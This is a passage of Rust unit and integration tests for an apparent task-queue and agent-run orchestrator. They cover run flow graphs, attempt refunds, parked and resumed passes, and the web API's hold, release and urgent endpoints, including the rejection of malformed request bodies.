15987        ] {
15988            let mut t = flow_task(&[]);
15989            t.source = source;
15990            let f = flow_for(&t, &[]);
15991            assert_eq!(f.nodes[0].key, "start");
15992            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15993            assert!(f.edges.iter().all(|e| e.from != "chat"));
15994        }
15995    }
15996
15997    const FA: &str = "20260902-140501-aaaa";
15998    const FB: &str = "20260902-140502-bbbb";
15999
16000    #[test]
16001    fn flow_follows_blocked_retry_merged_to_done() {
16002        let mut t = flow_task(&[FA, FB]);
16003        t.status = TaskStatus::Done;
16004        let f = flow_for(
16005            &t,
16006            &[
16007                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16008                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16009            ],
16010        );
16011        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16012        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16013        assert_eq!(f.edges.len(), 3);
16014        assert_eq!(f.edges[0].label, "claimed");
16015        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16016        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16017        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16018        assert_eq!(
16019            f.nodes[2].href.as_deref(),
16020            Some("#/runs/20260902-140502-bbbb")
16021        );
16022        assert!(f.nodes[2].decided);
16023    }
16024
16025    #[test]
16026    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16027        let quota = || {
16028            flow_run(RunStatus::Stalled, |s| {
16029                s.quota.push(crate::run::QuotaLoss {
16030                    seat: "judge-1".to_owned(),
16031                    node: "judge".to_owned(),
16032                    at: Timestamp::now(),
16033                    reset: None,
16034                })
16035            })
16036        };
16037        let mut t = flow_task(&[FA, FA]);
16038        t.status = TaskStatus::Queued;
16039        let f = flow_for(&t, &[(FA, Some(quota()))]);
16040        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16041        assert_eq!(f.nodes[1].note, Some("interrupted"));
16042        assert_eq!(
16043            f.nodes[1].status, None,
16044            "no outcome copied onto an earlier pass"
16045        );
16046        assert_eq!(
16047            f.edges[1].attempt,
16048            AttemptCost::Unknown,
16049            "a resume does not prove the earlier pass was refunded"
16050        );
16051        assert!(f.edges[1].label.contains("resume the same run"));
16052        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16053        assert_eq!(
16054            f.edges[2].label,
16055            "stalled after a resume, refund unknown \u{2192} queued"
16056        );
16057        assert!(!f.nodes[2].decided, "a stall is not a decision");
16058        assert_eq!(f.nodes[2].note, Some("no verdict"));
16059    }
16060
16061    #[test]
16062    fn flow_single_pass_quota_stall_is_refunded() {
16063        let t = flow_task(&[FA]);
16064        let f = flow_for(
16065            &t,
16066            &[(
16067                FA,
16068                Some(flow_run(RunStatus::Stalled, |s| {
16069                    s.quota.push(crate::run::QuotaLoss {
16070                        seat: "judge-1".to_owned(),
16071                        node: "judge".to_owned(),
16072                        at: Timestamp::now(),
16073                        reset: None,
16074                    })
16075                })),
16076            )],
16077        );
16078        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16079    }
16080
16081    #[test]
16082    fn flow_parked_refunds_and_stall_without_quota_spends() {
16083        let mut t = flow_task(&[FA]);
16084        t.status = TaskStatus::Queued;
16085        let f = flow_for(
16086            &t,
16087            &[(
16088                FA,
16089                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16090            )],
16091        );
16092        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16093        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16094        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16095        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16096        assert!(!f.nodes[1].decided);
16097    }
16098
16099    #[test]
16100    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16101        let t = flow_task(&[FA, FB]);
16102        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16103        assert_eq!(f.nodes[1].note, Some("unreadable"));
16104        assert!(!f.nodes[1].readable);
16105        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16106        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16107    }
16108
16109    #[test]
16110    fn flow_names_the_branch_of_a_review_only_run() {
16111        let t = flow_task(&[FA]);
16112        let f = flow_for(
16113            &t,
16114            &[(
16115                FA,
16116                Some(flow_run(RunStatus::Merged, |s| {
16117                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16118                })),
16119            )],
16120        );
16121        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16122        assert_eq!(
16123            f.nodes[1].detail.as_deref(),
16124            Some("review-only run of branch magi/x/A")
16125        );
16126    }
16127
16128    #[test]
16129    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16130        let mut t = flow_task(&[FA]);
16131        t.status = TaskStatus::Held;
16132        let pr = crate::run::PrRecord {
16133            url: "https://example.test/pr/1".to_owned(),
16134            number: 1,
16135            state: "open".to_owned(),
16136            checks: "green".to_owned(),
16137            round: 0,
16138            rounds: 3,
16139            red_at_merge: Vec::new(),
16140        };
16141        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16142        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16143        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16144        t.status = TaskStatus::Done;
16145        let f = flow_for(&t, &[(FA, Some(blocked))]);
16146        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16147    }
16148
16149    #[test]
16150    fn flow_with_no_runs_goes_from_queued_to_queued() {
16151        let t = flow_task(&[]);
16152        let f = flow_for(&t, &[]);
16153        assert_eq!(f.nodes.len(), 2);
16154        assert_eq!(f.edges.len(), 1);
16155        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16156        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16157    }
16158
16159    /// A run parked mid-flight keeps a non-terminal status; the page must
16160    /// still say why it stopped and that the attempt came back.
16161    #[test]
16162    fn a_parked_non_terminal_run_is_explained_as_parked() {
16163        let mut s = RunState::new(
16164            PathBuf::from("/repo/magi"),
16165            "main".to_owned(),
16166            "0123456789abcdef".to_owned(),
16167            "Do it".to_owned(),
16168            Config::default(),
16169        );
16170        s.status = RunStatus::Implementing;
16171        s.parked = true;
16172        let task = Task::new(
16173            "t".to_owned(),
16174            "Do it".to_owned(),
16175            PathBuf::from("/repo/magi"),
16176            Source::Human,
16177        );
16178        let v = task_run_view(
16179            "20260902-140501-aaaa",
16180            Some(&s),
16181            RunSlot {
16182                n: 1,
16183                resumed: false,
16184                resumed_later: None,
16185                prior: None,
16186                last: true,
16187                ..RunSlot::default()
16188            },
16189            &task,
16190        );
16191        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16192    }
16193
16194    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16195        let mut s = flow_run(RunStatus::Implementing, edit);
16196        s.parked = false;
16197        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16198        task_run_view(
16199            "20260902-140501-aaaa",
16200            Some(&s),
16201            RunSlot {
16202                n: 1,
16203                resumed: false,
16204                resumed_later: Some(2),
16205                prior: None,
16206                last: false,
16207                ..RunSlot::default()
16208            },
16209            &task,
16210        )
16211    }
16212
16213    #[test]
16214    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16215        let v = earlier_pass_view(|_| {});
16216        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16217        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16218        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16219        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16220        assert_eq!(v.exit, RunExit::Interrupted);
16221        assert_eq!(v.attempt, AttemptCost::Unknown);
16222    }
16223
16224    #[test]
16225    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16226        let v = earlier_pass_view(|s| {
16227            s.quota.push(crate::run::QuotaLoss {
16228                seat: "judge-1".to_owned(),
16229                node: "judge".to_owned(),
16230                at: Timestamp::now(),
16231                reset: None,
16232            });
16233        });
16234        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16235        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16236        assert_eq!(v.attempt, AttemptCost::Unknown);
16237    }
16238
16239    #[test]
16240    fn the_current_pass_states_its_recorded_cause_and_cost() {
16241        let slot = || RunSlot {
16242            n: 1,
16243            resumed: false,
16244            resumed_later: None,
16245            prior: None,
16246            last: true,
16247            ..RunSlot::default()
16248        };
16249        let task = flow_task(&["20260902-140501-aaaa"]);
16250        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16251        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16252        assert_eq!(
16253            (v.exit, v.attempt),
16254            (RunExit::Parked, AttemptCost::Refunded)
16255        );
16256        let spent = flow_run(RunStatus::Blocked, |_| {});
16257        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16258        assert_eq!(v.attempt, AttemptCost::Spent);
16259        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16260    }
16261
16262    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16263        crate::run::RunPass {
16264            index,
16265            started_at: Timestamp::now(),
16266            resumed: index > 0,
16267            ended_at: end.as_ref().map(|_| Timestamp::now()),
16268            end,
16269            task_entry: true,
16270        }
16271    }
16272
16273    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16274        Some(crate::run::PassEnd::Parked { cause })
16275    }
16276
16277    fn upgrade_cause() -> crate::run::ParkCause {
16278        crate::run::ParkCause::Upgrade {
16279            from: "0.121.0".to_owned(),
16280            to: Some("0.121.1".to_owned()),
16281        }
16282    }
16283
16284    fn settled_pass(
16285        run: &str,
16286        index: usize,
16287        cost: crate::queue::PassCost,
16288    ) -> crate::queue::TaskPass {
16289        crate::queue::TaskPass {
16290            run: run.to_owned(),
16291            pass_index: index,
16292            started_at: None,
16293            cost,
16294            attempts_after: 1,
16295            settled_at: Timestamp::now(),
16296            parked: None,
16297        }
16298    }
16299
16300    const RUN_X: &str = "20261011-223708-4334";
16301
16302    #[test]
16303    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16304        use crate::queue::PassCost;
16305        let run = flow_run(RunStatus::Implementing, |s| {
16306            s.passes = vec![
16307                recorded_pass(0, parked(upgrade_cause())),
16308                recorded_pass(1, None),
16309            ];
16310        });
16311        let mut task = flow_task(&[RUN_X, RUN_X]);
16312        task.attempts = 1;
16313        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16314        let h = task_history(&task, |_| Some(run.clone()));
16315        assert_eq!(h.len(), 2);
16316        assert_eq!(h[0].kind, "competition");
16317        assert_eq!(h[1].kind, "resume");
16318        assert_eq!(
16319            (h[0].exit, h[0].attempt),
16320            (RunExit::Parked, AttemptCost::Refunded)
16321        );
16322        assert!(
16323            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16324            "{}",
16325            h[0].outcome
16326        );
16327        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16328        assert!(
16329            h[0].outcome.contains("pass #2 resumed the same run"),
16330            "{}",
16331            h[0].outcome
16332        );
16333        assert!(
16334            h[0].outcome.contains("pass 1 of 2 over run"),
16335            "{}",
16336            h[0].outcome
16337        );
16338        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16339        assert_eq!(
16340            h[0].exit_label,
16341            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16342        );
16343        let f = task_flow(&task, &h, 2, None);
16344        // Two passes of one run, one of two attempts consumed.
16345        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16346        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16347        assert!(
16348            f.edges[1].label.contains("upgrade 0.121.0"),
16349            "{}",
16350            f.edges[1].label
16351        );
16352        assert!(
16353            f.edges[1].label.contains("resume the same run"),
16354            "{}",
16355            f.edges[1].label
16356        );
16357        assert_eq!(f.nodes[1].note, Some("parked"));
16358    }
16359
16360    #[test]
16361    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16362        let mut a = flow_run(RunStatus::Implementing, |s| {
16363            s.passes = vec![
16364                recorded_pass(0, parked(upgrade_cause())),
16365                recorded_pass(1, None),
16366            ];
16367        });
16368        let mut b = flow_run(RunStatus::Failed, |s| {
16369            s.passes = vec![recorded_pass(0, None)];
16370        });
16371        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16372        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16373        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16374        let mut task = flow_task(&[]);
16375        task.start("a".into());
16376        task.start("b".into());
16377        task.start("a".into());
16378        assert_eq!(task.runs, ["b", "a"]);
16379        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16380        let h = task_history(&task, |id| {
16381            Some(if id == "a" { a.clone() } else { b.clone() })
16382        });
16383        assert_eq!(
16384            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16385            ["a", "b", "a"]
16386        );
16387        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16388        assert!(h[0].outcome.contains("upgrade"));
16389        assert_eq!(h[2].kind, "resume");
16390        assert!(h[2].pass.is_some());
16391        // The old repeated-id format must show the same recorded passes.
16392        task.runs = vec!["a".into(), "b".into(), "a".into()];
16393        let old = task_history(&task, |id| {
16394            Some(if id == "a" { a.clone() } else { b.clone() })
16395        });
16396        assert_eq!(
16397            old.iter()
16398                .map(|v| (&v.id, &v.kind, v.attempt))
16399                .collect::<Vec<_>>(),
16400            h.iter()
16401                .map(|v| (&v.id, &v.kind, v.attempt))
16402                .collect::<Vec<_>>()
16403        );
16404    }
16405
16406    #[test]
16407    fn an_upgrade_whose_target_was_not_known_says_so() {
16408        let run = flow_run(RunStatus::Implementing, |s| {
16409            s.passes = vec![
16410                recorded_pass(
16411                    0,
16412                    parked(crate::run::ParkCause::Upgrade {
16413                        from: "0.121.0".to_owned(),
16414                        to: None,
16415                    }),
16416                ),
16417                recorded_pass(1, None),
16418            ];
16419        });
16420        let task = flow_task(&[RUN_X, RUN_X]);
16421        let h = task_history(&task, |_| Some(run.clone()));
16422        assert!(
16423            h[0].outcome.contains("upgrade from 0.121.0"),
16424            "{}",
16425            h[0].outcome
16426        );
16427        // No settle record: the refund is not claimed.
16428        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16429    }
16430
16431    #[test]
16432    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16433        use crate::queue::PassCost;
16434        use crate::run::ParkCause;
16435        let run = flow_run(RunStatus::Implementing, |s| {
16436            s.passes = vec![
16437                recorded_pass(0, parked(upgrade_cause())),
16438                recorded_pass(
16439                    1,
16440                    parked(ParkCause::Interrupt {
16441                        reason: "task a1b2 asked to run first".to_owned(),
16442                    }),
16443                ),
16444                recorded_pass(2, parked(ParkCause::Operator)),
16445                recorded_pass(3, None),
16446            ];
16447        });
16448        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16449        task.attempts = 1;
16450        task.passes = (0..3)
16451            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16452            .collect();
16453        let h = task_history(&task, |_| Some(run.clone()));
16454        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16455        assert!(
16456            h[1].outcome.contains("task a1b2 asked to run first"),
16457            "{}",
16458            h[1].outcome
16459        );
16460        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16461        assert!(
16462            h[2].outcome.contains("operator asked the loop to park"),
16463            "{}",
16464            h[2].outcome
16465        );
16466        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16467        let f = task_flow(&task, &h, 2, None);
16468        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16469    }
16470
16471    #[test]
16472    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16473        let run = flow_run(RunStatus::Implementing, |s| {
16474            s.passes = vec![
16475                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16476                recorded_pass(1, None),
16477            ];
16478        });
16479        let task = flow_task(&[RUN_X, RUN_X]);
16480        let h = task_history(&task, |_| Some(run.clone()));
16481        assert_eq!(h[0].exit, RunExit::Interrupted);
16482        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16483        assert!(
16484            h[0].outcome.contains("without recording why"),
16485            "{}",
16486            h[0].outcome
16487        );
16488        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16489        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16490    }
16491
16492    #[test]
16493    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16494        use crate::queue::PassCost;
16495        // Three entries, but the run only began keeping passes at the last
16496        // two: the first is legacy and must not be given a cause.
16497        let run = flow_run(RunStatus::Implementing, |s| {
16498            s.passes = vec![
16499                recorded_pass(0, parked(upgrade_cause())),
16500                recorded_pass(1, None),
16501            ];
16502        });
16503        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16504        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16505        let h = task_history(&task, |_| Some(run.clone()));
16506        assert!(h[0].pass.is_none());
16507        assert_eq!(h[0].exit, RunExit::Interrupted);
16508        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16509        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16510        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16511        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16512        // A run with no passes at all is entirely unknown.
16513        let legacy = flow_run(RunStatus::Implementing, |_| {});
16514        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16515        assert!(h.iter().all(|v| v.pass.is_none()));
16516        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16517    }
16518
16519    #[test]
16520    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16521        use crate::queue::PassCost;
16522        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16523        // task. The two entries are passes 0 and 2.
16524        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16525        web.task_entry = false;
16526        let run = flow_run(RunStatus::Implementing, |s| {
16527            s.passes = vec![
16528                recorded_pass(0, parked(upgrade_cause())),
16529                web.clone(),
16530                recorded_pass(2, None),
16531            ];
16532        });
16533        let mut task = flow_task(&[RUN_X, RUN_X]);
16534        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16535        let h = task_history(&task, |_| Some(run.clone()));
16536        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16537        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16538
16539        // Legacy first entry, then a web resume that parked for an upgrade,
16540        // then the daemon's pass: the legacy entry must stay unknown.
16541        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16542        web0.task_entry = false;
16543        let run = flow_run(RunStatus::Implementing, |s| {
16544            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16545        });
16546        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16547        assert!(h[0].pass.is_none());
16548        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16549        assert!(h[1].pass.is_some());
16550    }
16551
16552    #[tokio::test]
16553    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16554        let dir = tempfile::tempdir().unwrap();
16555        let queue = Queue::at(dir.path().join("queue"));
16556        let ui = Arc::new(Ui::new(
16557            queue.clone(),
16558            Questions::at(dir.path().join("questions")),
16559            Talks::at(dir.path().join("talks")),
16560            dir.path().join("runs"),
16561            dir.path().to_path_buf(),
16562            dir.path().to_path_buf(),
16563        ));
16564        let mut t = Task::new(
16565            "recover".into(),
16566            "Inspect".into(),
16567            PathBuf::from("."),
16568            Source::Human,
16569        );
16570        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16571        t.start("run-A".into());
16572        t.release_operator("choice", Some("resume-question"));
16573        t.resume_override = Some(crate::queue::OperatorResume {
16574            question_id: "resume-question".into(),
16575            at: jiff::Timestamp::now(),
16576            conductor_rehold: None,
16577            forced: true,
16578            pinned_run: Some("run-A".into()),
16579        });
16580        t.hold_machine(Some("inspection pending".into()));
16581        t.edit("recover".into(), "Reuse approved PR head".into())
16582            .unwrap();
16583        queue.put(&mut t).unwrap();
16584        let mut cli = t.clone();
16585        cli.release_operator("cli", None);
16586        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16587        let reloaded = queue.get(&t.id).unwrap();
16588        assert_eq!(reply.task.status, TaskStatus::Queued);
16589        assert!(reloaded.resume_override.is_none());
16590        assert_eq!(reloaded.answers, t.answers);
16591        let mut web = reloaded.resumption.unwrap();
16592        let cli = cli.resumption.unwrap();
16593        assert_eq!(web.source, "web");
16594        web.source = cli.source.clone();
16595        web.at = cli.at;
16596        assert_eq!(web, cli);
16597    }
16598
16599    #[tokio::test]
16600    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16601        let f = Fixture::start().await;
16602        let queue = f.queue();
16603        let mut task = Task::new(
16604            "spent".to_owned(),
16605            "Try again".to_owned(),
16606            PathBuf::from("/repo/magi"),
16607            Source::Human,
16608        );
16609        task.start("20260902-140502-bbbb".to_owned());
16610        task.fail("agent gave up", 9);
16611        queue.put(&mut task).expect("file the task");
16612
16613        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16614        assert_eq!(held.status, 200);
16615        assert_eq!(held.json()["status_str"], "held");
16616
16617        let released = f
16618            .post(&format!("/api/queue/{}/release", task.id), None)
16619            .await;
16620        assert_eq!(released.status, 200);
16621        assert_eq!(released.json()["status_str"], "queued");
16622        assert_eq!(released.json()["resumption"]["source"], "web");
16623        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16624        let mut cli = task.clone();
16625        cli.release_operator("cli", None);
16626        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16627        let cli = cli.resumption.unwrap();
16628        assert_eq!(web.instruction, cli.instruction);
16629        assert_eq!(web.answers_through, cli.answers_through);
16630        assert_eq!(web.runs_through, cli.runs_through);
16631        assert_eq!(web.cleared_reason, cli.cleared_reason);
16632        assert_eq!(
16633            released.json()["attempts"],
16634            0,
16635            "release is a real second chance, not an instant re-hold"
16636        );
16637        assert_eq!(
16638            queue.get(&task.id).expect("reload").status,
16639            TaskStatus::Queued,
16640            "the change is on disk, not only in the reply"
16641        );
16642        assert!(
16643            !f.home
16644                .path()
16645                .join("queue")
16646                .join(format!("{}.lock", task.id))
16647                .exists(),
16648            "the claim the mutation took is released again"
16649        );
16650    }
16651
16652    #[tokio::test]
16653    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16654        let f = Fixture::start().await;
16655        let queue = f.queue();
16656        let mut task = Task::new(
16657            "busy".to_owned(),
16658            "Running right now".to_owned(),
16659            PathBuf::from("/repo/magi"),
16660            Source::Human,
16661        );
16662        queue.put(&mut task).expect("file the task");
16663        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16664
16665        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16666
16667        assert_eq!(res.status, 409);
16668        assert_eq!(
16669            queue.get(&task.id).expect("reload").status,
16670            TaskStatus::Queued,
16671            "the refused hold changed nothing"
16672        );
16673    }
16674
16675    #[tokio::test]
16676    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16677        let f = Fixture::start().await;
16678        let queue = f.queue();
16679        let mut task = Task::new(
16680            "waiting on the migration".to_owned(),
16681            "Do the thing".to_owned(),
16682            PathBuf::from("/repo/magi"),
16683            Source::Human,
16684        );
16685        queue.put(&mut task).expect("file the task");
16686
16687        let held = f
16688            .post(
16689                &format!("/api/queue/{}/hold", task.id),
16690                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16691            )
16692            .await;
16693        assert_eq!(held.status, 200, "{}", held.body);
16694        assert_eq!(held.json()["status_str"], "held");
16695        assert_eq!(
16696            held.json()["hold_reason"],
16697            "waiting for 20260101-000000-aaaa to land"
16698        );
16699
16700        let listed = f.get("/api/queue").await.json();
16701        assert_eq!(
16702            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16703            "the card reads the reason off the same list route"
16704        );
16705
16706        // A hold with no body at all must keep working - most holds have no
16707        // reason to give.
16708        let mut plain = Task::new(
16709            "no reason given".to_owned(),
16710            "Do another thing".to_owned(),
16711            PathBuf::from("/repo/magi"),
16712            Source::Human,
16713        );
16714        queue.put(&mut plain).expect("file the task");
16715        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16716        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16717        assert!(held_plain.json()["hold_reason"].is_null());
16718
16719        let released = f
16720            .post(&format!("/api/queue/{}/release", task.id), None)
16721            .await;
16722        assert_eq!(released.status, 200);
16723        assert!(
16724            released.json()["hold_reason"].is_null(),
16725            "a release must clear the reason so the next hold does not inherit it"
16726        );
16727    }
16728
16729    #[test]
16730    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16731        for urgent in [true, false] {
16732            let body: UrgentBody =
16733                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16734            assert_eq!(body.urgent, urgent);
16735        }
16736        for input in [
16737            r#"{}"#,
16738            r#"{"urgent":null}"#,
16739            r#"{"urgent":"true"}"#,
16740            r#"{"urgent":1}"#,
16741            r#"{"urgent":true,"extra":false}"#,
16742        ] {
16743            assert!(
16744                serde_json::from_str::<UrgentBody>(input).is_err(),
16745                "{input}"
16746            );
16747        }
16748    }
16749
16750    #[tokio::test]
16751    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16752        let home = TempDir::new().unwrap();
16753        let q = Queue::at(home.path().join("queue"));
16754        let ui = Arc::new(Ui::new(
16755            q.clone(),
16756            Questions::at(home.path().join("questions")),
16757            Talks::at(home.path().join("talks")),
16758            home.path().join("runs"),
16759            home.path().into(),
16760            home.path().into(),
16761        ));
16762        let mut task = Task::new(
16763            "urgent handler".into(),
16764            "keep".into(),
16765            home.path().into(),
16766            Source::Human,
16767        );
16768        for status in [TaskStatus::Queued, TaskStatus::Held] {
16769            task.status = status;
16770            q.put(&mut task).unwrap();
16771            for urgent in [true, true, false, false] {
16772                let saved = queue_urgent(
16773                    State(Arc::clone(&ui)),
16774                    Path(task.short().into()),
16775                    Ok(Json(UrgentBody { urgent })),
16776                )
16777                .await
16778                .unwrap();
16779                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16780                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16781            }
16782        }
16783        task.status = TaskStatus::Queued;
16784        q.put(&mut task).unwrap();
16785        let claim = q.claim(&task.id).unwrap();
16786        let error = queue_urgent(
16787            State(Arc::clone(&ui)),
16788            Path(task.id.clone()),
16789            Ok(Json(UrgentBody { urgent: true })),
16790        )
16791        .await
16792        .unwrap_err();
16793        assert_eq!(error.status, StatusCode::CONFLICT);
16794        assert!(error.message.contains("released"));
16795        drop(claim);
16796        for status in [
16797            TaskStatus::Running,
16798            TaskStatus::Done,
16799            TaskStatus::Failed,
16800            TaskStatus::Blocked,
16801            TaskStatus::Parked,
16802        ] {
16803            task.status = status;
16804            q.put(&mut task).unwrap();
16805            let error = queue_urgent(
16806                State(Arc::clone(&ui)),
16807                Path(task.id.clone()),
16808                Ok(Json(UrgentBody { urgent: false })),
16809            )
16810            .await
16811            .unwrap_err();
16812            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16813            assert!(error.message.contains(status.as_str()));
16814        }
16815    }
16816
16817    #[tokio::test]
16818    async fn urgent_api_updates_preserves_and_validates_tasks() {
16819        let f = Fixture::start().await;
16820        let q = f.queue();
16821        let mut t = Task::new(
16822            "urgent API".into(),
16823            "unchanged".into(),
16824            PathBuf::from("/repo/magi"),
16825            Source::Human,
16826        );
16827        t.attempts = 2;
16828        t.priority = 9;
16829        t.interrupt = true;
16830        t.hold_reason = Some("waiting for approval".into());
16831        for status in [TaskStatus::Queued, TaskStatus::Held] {
16832            t.status = status;
16833            q.put(&mut t).unwrap();
16834            for urgent in [true, true, false, false] {
16835                let response = f
16836                    .post(
16837                        &format!("/api/queue/{}/urgent", t.short()),
16838                        Some(&format!("{{\"urgent\":{urgent}}}")),
16839                    )
16840                    .await;
16841                assert_eq!(response.status, 200, "{}", response.body);
16842                assert_eq!(response.json()["urgent"], urgent);
16843                let saved = q.get(&t.id).unwrap();
16844                let mut before = serde_json::to_value(&t).unwrap();
16845                let mut after = serde_json::to_value(saved).unwrap();
16846                before["urgent"] = urgent.into();
16847                before.as_object_mut().unwrap().remove("updated_at");
16848                after.as_object_mut().unwrap().remove("updated_at");
16849                assert_eq!(after, before);
16850            }
16851        }
16852        let route = format!("/api/queue/{}/urgent", t.id);
16853        for body in [
16854            r#"{}"#,
16855            r#"{"urgent":null}"#,
16856            r#"{"urgent":"true"}"#,
16857            r#"{"urgent":1}"#,
16858            r#"{"urgent":true,"extra":false}"#,
16859            "{",
16860        ] {
16861            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16862        }
16863        t.status = TaskStatus::Queued;
16864        q.put(&mut t).unwrap();
